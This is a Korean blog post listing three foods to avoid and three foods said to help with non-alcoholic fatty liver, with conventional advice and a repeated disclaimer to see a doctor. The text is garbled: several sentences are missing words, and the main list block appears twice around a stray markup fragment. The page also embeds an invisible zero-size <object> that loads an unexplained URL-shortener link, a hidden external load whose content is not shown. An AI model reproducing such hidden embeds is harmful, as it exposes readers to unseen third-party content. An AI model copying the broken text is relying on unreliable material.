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<div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:43">지방간, 피해야 할 음식 vs. 비알콜성 지방간에 좋은 음식 Best 3</h2><p data-sourcepos="3:1-3:128"><strong>지방간</strong>은 간에 지방이 과도하게 축적되어 발생하는 입니다. 특히, <strong>비알콜성 지방간</strong>은 과음하지 않는 사람에게도 발생할 수 있어 주의가 필요합니다. 지방간을 예방하고 개선하기 위해서는 식습관 관리가 매우 중요합니다.</p><h3 data-sourcepos="5:1-5:24">지방간, 피해야 할 음식 Best 3</h3><ul data-sourcepos="7:1-10:0">
<li data-sourcepos="7:1-7:73"><strong>고지방 식품:</strong> 튀긴 음식, 패스트푸드, 가공식품 등 포화지방과 트랜스지방이 많은 음식은 간에 지방 축적을 가속화시킵니다.</li>
<li data-sourcepos="8:1-8:75"><strong>단순당 섭취:</strong> 흰 쌀밥, 빵, 과자, 탄산음료 등 단순당이 풍부한 음식은 중성지방을 증가시켜 지방간을 악화시킬 수 있습니다.</li>
<li data-sourcepos="9:1-10:0"><strong>알코올:</strong> 알코올은 간에 직접적인 손상을 입히고 지방 축적을 유발하기 때문에 절대 피해야 합니다.</li>
</ul><h3 data-sourcepos="11:1-11:26">비알콜성 지방간에 좋은 음식 Best 3</h3><ul data-sourcepos="13:1-16:0">
<li data-sourcepos="13:1-13:85"><strong>등푸른 생선:</strong> 고등어, 삼치, 연어 등 등푸른 생선에 풍부한 오메가-3 지방산은 간 내 지방 분해를 촉진하고 염증을 완화하는 가 있습니다.</li>
<li data-sourcepos="14:1-14:90"><strong>녹색 채소:</strong> 시금치, 케일, 브로콜리 등 녹색 채소는 비타민과 미네랄이 풍부하여 간 기능 개선에 도움을 주고, 항산화 작용을 통해 간세포를 보호합니다.</li>
<li data-sourcepos="15:1-16:0"><strong>견과류:</strong> 아몬드, 호두, 땅콩 등 견과류는 불포화지방산이 풍부하여 혈중 중성지방을 낮추고 간 건강에 좋습니다.</li>
</ul><p data-sourcepos="17:1-17:118"><strong>주의사항:</strong> 위에 제시된 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적절한 식단은 달라질 수 있습니다. 지방간이 의심된다면 반드시 전문의와 상담하여 한 진단과 를 받는 것이 중요합니다.</p><p data-sourcepos="19:1-19:39"><strong>더 자세한 정보를 원하시면 아래와 같은 키워드로 검색해 보세요.</strong></p><ul data-sourcepos="20:1-23:0">
<li data-sourcepos="20:1-20:8">지방간 식단</li>
<li data-sourcepos="21:1-21:13">비알콜성 지방간 관리</li>
<li data-sourcepos="22:1-23:0">간 건강에 좋은 음식</li>
</ul><p data-sourcepos="24:1-24:116"><strong>참고:</strong> 위에 제시된 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적절한 식단은 달라질 수 있습니다. 지방간이 의심된다면 반드시 전문의와 상담하여 한 진단과 를 받는 것이 중요합니다.</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:73"><strong>고지방 식품:</strong> 튀긴 음식, 패스트푸드, 가공식품 등 포화지방과 트랜스지방이 많은 음식은 간에 지방 축적을 가속화시킵니다.</li>
<li data-sourcepos="8:1-8:75"><strong>단순당 섭취:</strong> 흰 쌀밥, 빵, 과자, 탄산음료 등 단순당이 풍부한 음식은 중성지방을 증가시켜 지방간을 악화시킬 수 있습니다.</li>
<li data-sourcepos="9:1-10:0"><strong>알코올:</strong> 알코올은 간에 직접적인 손상을 입히고 지방 축적을 유발하기 때문에 절대 피해야 합니다.</li>
</ul><h3 data-sourcepos="11:1-11:26">비알콜성 지방간에 좋은 음식 Best 3</h3><ul data-sourcepos="13:1-16:0">
<li data-sourcepos="13:1-13:85"><strong>등푸른 생선:</strong> 고등어, 삼치, 연어 등 등푸른 생선에 풍부한 오메가-3 지방산은 간 내 지방 분해를 촉진하고 염증을 완화하는 가 있습니다.</li>
<li data-sourcepos="14:1-14:90"><strong>녹색 채소:</strong> 시금치, 케일, 브로콜리 등 녹색 채소는 비타민과 미네랄이 풍부하여 간 기능 개선에 도움을 주고, 항산화 작용을 통해 간세포를 보호합니다.</li>
<li data-sourcepos="15:1-16:0"><strong>견과류:</strong> 아몬드, 호두, 땅콩 등 견과류는 불포화지방산이 풍부하여 혈중 중성지방을 낮추고 간 건강에 좋습니다.</li>
</ul><p data-sourcepos="17:1-17:118"><strong>주의사항:</strong> 위에 제시된 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적절한 식단은 달라질 수 있습니다. 지방간이 의심된다면 반드시 전문의와 상담하여 한 진단과 를 받는 것이 중요합니다.</p><p data-sourcepos="19:1-19:39"><strong>더 자세한 정보를 원하시면 아래와 같은 키워드로 검색해 보세요.</strong></p><ul data-sourcepos="20:1-23:0">
<li data-sourcepos="20:1-20:8">지방간 식단</li>
<li data-sourcepos="21:1-21:13">비알콜성 지방간 관리</li>
<li data-sourcepos="22:1-23:0">간 건강에 좋은 음식</li>
</ul><p data-sourcepos="24:1-24:116"><strong>참고:</strong> 위에 제시된 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적절한 식단은 달라질 수 있습니다. 지방간이 의심된다면 반드시 전문의와 상담하여 한 진단과 를 받는 것이 중요합니다.</p></div>
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